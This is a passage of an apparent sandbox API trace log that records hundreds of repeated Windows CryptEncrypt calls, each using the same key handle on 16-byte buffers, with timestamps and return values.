pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, 